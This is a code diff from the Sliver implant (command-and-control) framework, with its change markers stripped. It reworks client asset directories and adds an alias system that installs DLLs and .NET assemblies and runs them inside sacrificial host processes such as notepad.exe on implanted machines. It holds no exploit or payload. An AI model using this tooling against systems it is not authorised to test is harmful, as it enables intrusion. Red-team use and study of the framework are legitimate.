||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -73,7 +52,7 @@ func GetExtensionsDir() string {
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -81,7 +60,7 @@ func assetVersion() string {
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
@@ -93,12 +72,12 @@ func Setup(force bool, echo bool) {
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2022 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
@@ -106,43 +85,3 @@ func Setup(force bool, echo bool) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -49,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("Empty config")
|
||||
return errors.New("empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -33,6 +33,9 @@ type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -55,6 +58,9 @@ func defaultSettings() *ClientSettings {
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,4 +1,11 @@
|
||||
Macros
|
||||
Alias
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,126 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Tool Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, aliasPkg := range loadedAliases {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[aliasPkg.Manifest.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
aliasPkg.Manifest.Name,
|
||||
aliasPkg.Manifest.CommandName,
|
||||
strings.Join(aliasPlatforms(aliasPkg.Manifest), ",\n"),
|
||||
aliasPkg.Manifest.Version,
|
||||
installed,
|
||||
aliasPkg.Manifest.IsAssembly,
|
||||
aliasPkg.Manifest.IsReflective,
|
||||
aliasPkg.Manifest.OriginalAuthor,
|
||||
aliasPkg.Manifest.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func aliasPlatforms(aliasPkg *AliasManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range aliasPkg.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &AliasManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
|
||||
for _, cmdFile := range manifest.Files {
|
||||
if cmdFile.Path != "" {
|
||||
src := filepath.Join(aliasLocalPath, util.ResolvePath(cmdFile.Path))
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
return nil
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
con.Printf("done!\n")
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return fmt.Errorf("empty file %s", artifactPath)
|
||||
}
|
||||
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
|
||||
artifactDir := filepath.Dir(localArtifactPath)
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func forceRemoveAll(rootPath string) {
|
||||
util.ChmodR(rootPath, 0o600, 0o700)
|
||||
os.RemoveAll(rootPath)
|
||||
}
|
||||
@@ -0,0 +1,447 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
ManifestFileName = "alias.json"
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var (
|
||||
// alias name -> manifest/command
|
||||
loadedAliases = map[string]*loadedAlias{}
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
CommandName string `json:"command_name"`
|
||||
OriginalAuthor string `json:"original_author"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
|
||||
return "", err
|
||||
}
|
||||
if _, err := os.Stat(filePath); os.IsNotExist(err) {
|
||||
err = fmt.Errorf("alias file not found: %s", filePath)
|
||||
return "", err
|
||||
}
|
||||
return filePath, nil
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("%s alias has been loaded\n", alias.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest, err := ParseAliasManifest(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
